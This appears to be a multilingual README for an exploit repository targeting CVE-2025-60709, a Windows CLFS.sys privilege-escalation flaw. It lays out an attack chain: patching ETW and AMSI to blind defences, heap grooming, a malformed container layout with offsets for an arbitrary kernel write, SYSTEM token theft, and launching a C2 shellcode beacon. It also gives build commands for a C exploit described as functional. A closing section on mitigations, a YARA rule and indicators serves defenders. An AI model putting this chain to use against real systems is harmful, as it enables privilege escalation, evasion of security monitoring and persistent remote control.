🚨 漏洞利用PoC — 仅供安全研究、漏洞分析与防御用途
🚨 PoC DE EXPLOIT — SOLO PARA INVESTIGACIÓN DE SEGURIDAD, ANÁLISIS DE VULNERABILIDADES Y FINES DEFENSIVOS
CVE-2025-60709 是 Windows CLFS.sys(通用日志文件系统)驱动中的一个本地权限提升(LPE) 漏洞。它允许具有本地代码执行能力的攻击者通过 CLFS 容器解析中的缓冲区溢出,从标准用户提升到 NT AUTHORITY\SYSTEM,从而获得内核内存的任意写入原语。
本仓库包含两种实现:
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2025-60709 |
| 类型 | 本地权限提升(LPE) |
| 组件 | CLFS.sys(通用日志文件系统驱动) |
| 目标系统 | Windows 11 24H2(build 26100.3485+) |
| 架构 | 仅 x64 |
| 向量 | CLFS 容器解析中的缓冲区溢出 |
| 影响 | 提升至 NT AUTHORITY\SYSTEM |
| 前置条件 | 本地代码执行(标准用户) |
CVE-2025-60709/
├── CVE-2025-60709.c (5.3 KB, 157 行) — 原始 C 漏洞利用
├── CVE-2025-60709.go (9.2 KB, 285 行) — Go 移植版(教育演示)
└── README.txt (4.2 KB, 132 行) — 原始文档
┌─────────────────────────────────────────────────────────────┐
│ CVE-2025-60709 LPE │
└─────────────────────────────────────────────────────────────┘
[1] 防御绕过
├─ KillETW() → 修补 ntdll 中的 EtwEventWrite 为 RET(0xC3)
└─ KillAMSI() → 修补 amsi.dll 中的 AmsiScanBuffer 为 RET(0xC3)
[2] 堆布局准备(内存准备)
└─ GroomLookaside()
├─ 创建 4096 个文件:C:\Windows\Temp\groom_00000.blf
├─ 对每个文件调用 CreateLogFile() + AddLogContainer()
└─ 耗尽 lookaside 列表 → 确保可预测的堆布局
[3] 任意写入原语 — ClfsArbWrite(Address, Value)
├─ 构造畸形的 CLFS 缓冲区(0x102010 字节)
│ ├─ +0x00 处有效 CLFS 签名:0x0201
│ ├─ +0x14 处扇区大小移位:2
│ ├─ +0x28 处第一个客户端区域:0x100
│ ├─ +0x100 处超大 cbRecord:0xFF00(64 KB > 实际数据)
│ ├─ +0x9A8 处阴影区域标记:0x13371337
│ └─ 偏移 (0xFF00 + 0x100) 处虚假 CClfsContainerContext:
│ ├─ pContainer = TargetAddress - 0x10
│ └─ cbContainer = Value(要写入的数据)
├─ 计算正确的 CLFS 校验和(驱动会验证)
├─ 写入畸形容器 → C:\Windows\Temp\evil.blf
├─ 创建指向 evil.blf 的日志
├─ 调用 ClfsReadRestartArea() → 触发内核解析
└─ 驱动溢出缓冲区 → 将 Value 写入 Address ✓
[4] SYSTEM 令牌窃取
├─ 通过 PsInitialSystemProcess 读取 SYSTEM 进程的 EPROCESS
└─ 提取 EPROCESS + EPROCESS_TOKEN(偏移 0x4c0)处的令牌
[5] 权限提升
└─ ClfsArbWrite(CurrentEprocess + 0x4c0, SystemToken)
└─ 用 SYSTEM 令牌覆盖当前进程令牌 ✓
[6] C2 载荷执行
├─ VirtualAlloc(PAGE_EXECUTE_READWRITE)
├─ 复制 1789 字节的 shellcode beacon
├─ CreateThread() → 以 NT AUTHORITY\SYSTEM 运行
└─ Beacon C2:IPv6 + DoH → 回退 Gmail 草稿
└─ sRDI + sleep 混淆 + ETW/AMSI 已修补
[7] 持久化
└─ Sleep(INFINITE) → 进程保持 SYSTEM 令牌
| 字段 | 偏移量 | 描述 |
|---|---|---|
EPROCESS_TOKEN | 0x4C0 | 进程安全令牌 |
EPROCESS_PID | 0x440 | 进程 ID |
EPROCESS_LINKS | 0x448 | 活动进程的双向链表 |
EPROCESS_NAME | 0x5A8 | 进程名称(ImageFileName) |
⚠️ 这些偏移量在不同 Windows 构建版本中会变化。 需要在其他版本中更新。
合法 CLFS 容器:
[Header 0x100 字节][Record: cbRecord 字节的真实数据]
畸形容器(evil.blf):
[有效 Header][cbRecord=0xFF00 → 内核读取 65,280 字节]
↓
内核溢出 → 到达虚假的 CClfsContainerContext
↓
pContainer = TargetKernelAddress - 0x10
cbContainer = ValueToWrite
↓
驱动使用虚假结构 → 将 ValueToWrite 写入 TargetKernelAddress
CVE-2025-60709.c| 函数 | 用途 |
|---|---|
GetKernelBase() | ZwQuerySystemInformation(SystemModuleInformation) → ntoskrnl.exe 基址 |
KillETW() | VirtualProtect + 用 0xC3(RET)覆盖 ntdll.dll 中的 EtwEventWrite |
KillAMSI() | 加载 amsi.dll + 用 0xC3(RET)覆盖 AmsiScanBuffer |
GroomLookaside() | 创建 4096 个 CLFS 日志以耗尽 lookaside 列表 → 确定性堆 |
ClfsArbWrite() | 漏洞利用核心 — 任意内核内存写入原语 |
main() | 编排攻击:ETW→AMSI→堆布局→令牌窃取→任意写入→beacon |
| 方面 | C 版本 | Go 版本 |
|---|---|---|
| 类型 | 功能性漏洞利用(按文档) | 仅限教育演示 |
| API | 直接访问(ntdll,clfsw32,advapi32) | syscall.NewLazyDLL() 封装 |
| CLFS 校验和 | 完整算法 | 简化的占位符 |
| 内核地址 | 真实 | 硬编码占位符(0x123456) |
| C2 荷载 | 1789 字节的 shellcode | 测试用的 NOP 字节(0x90) |
| 预期结果 | 提升至 SYSTEM | 消息 "Arb write failed (yeah)" |
C 版本(需要 Visual Studio Build Tools + Windows SDK):
cl /O1 /MT /link ntdll.lib advapi32.lib clfsw32.lib CVE-2025-60709.c
Go 版本(需要在 Windows x64 上安装 Go 1.19+):
go build -ldflags="-s -w" -o CVE-2025-60709.exe CVE-2025-60709.go
| 缓解措施 | 有效性 |
|---|---|
| HVCI(受虚拟机监控程序保护的代码完整性) | 高 — 阻止内核内存写入 |
| kCFI(内核控制流完整性) | 高 — 阻碍 ROP/JOP 链 |
| CFG(控制流守卫) | 中等 — 阻碍 shellcode 执行 |
| Windows Defender | 中等 — 检测已知技术 |
| Windows 更新 | 高 — 官方补丁消除漏洞 |
rule CVE_2025_60709_CLFS_LPE {
meta:
description = "检测 CVE-2025-60709 CLFS LPE 漏洞利用"
author = "KONDORDEVSECURITYCORP"
date = "2026-03"
cve = "CVE-2025-60709"
severity = "critical"
strings:
$clfs_sig = { 01 02 00 00 }
$magic = { 37 13 37 13 }
$evil_file = "evil.blf" ascii wide
$groom_file = "groom_" ascii wide
$etw_func = "EtwEventWrite" ascii wide
$amsi_func = "AmsiScanBuffer" ascii wide
$token_off = { C0 04 00 00 } // EPROCESS_TOKEN = 0x4C0
condition:
3 of them
}
| 类型 | 值 |
|---|---|
| 畸形文件 | C:\Windows\Temp\evil.blf |
| 畸形日志 | \\.\C:\Windows\Temp\evil_log |
| 堆布局文件 | C:\Windows\Temp\groom_00000.blf … groom_04095.blf |
| 进程 | 异常高的优先级(REALTIME_PRIORITY_CLASS) |
文件: 在 C:\Windows\Temp\ 中大量创建 *.blf(数秒内超过 100 个)
文件: 创建 C:\Windows\Temp\evil.blf
进程: 实时优先级进程 + 调用 ClfsReadRestartArea
内存: 写入 PAGE_EXECUTE_READWRITE + 立即 CreateThread
API: 对 EtwEventWrite 或 AmsiScanBuffer 调用 VirtualProtect
内核: 从用户态访问 PsInitialSystemProcess
# 检查堆布局文件
Get-ChildItem C:\Windows\Temp -Filter "groom_*.blf" | Measure-Object
# 检查漏洞利用文件
Test-Path C:\Windows\Temp\evil.blf
# 检查 ntdll 完整性(ETW 修补)
Get-AuthenticodeSignature (Get-Process -Name notepad | Select -First 1).Path
CVE-2025-60709 is a Local Privilege Escalation (LPE) vulnerability in the Windows CLFS.sys (Common Log File System) driver. It allows an attacker with local code execution to escalate from a standard user to NT AUTHORITY\SYSTEM through a buffer overflow in CLFS container parsing, obtaining an arbitrary write primitive to kernel memory.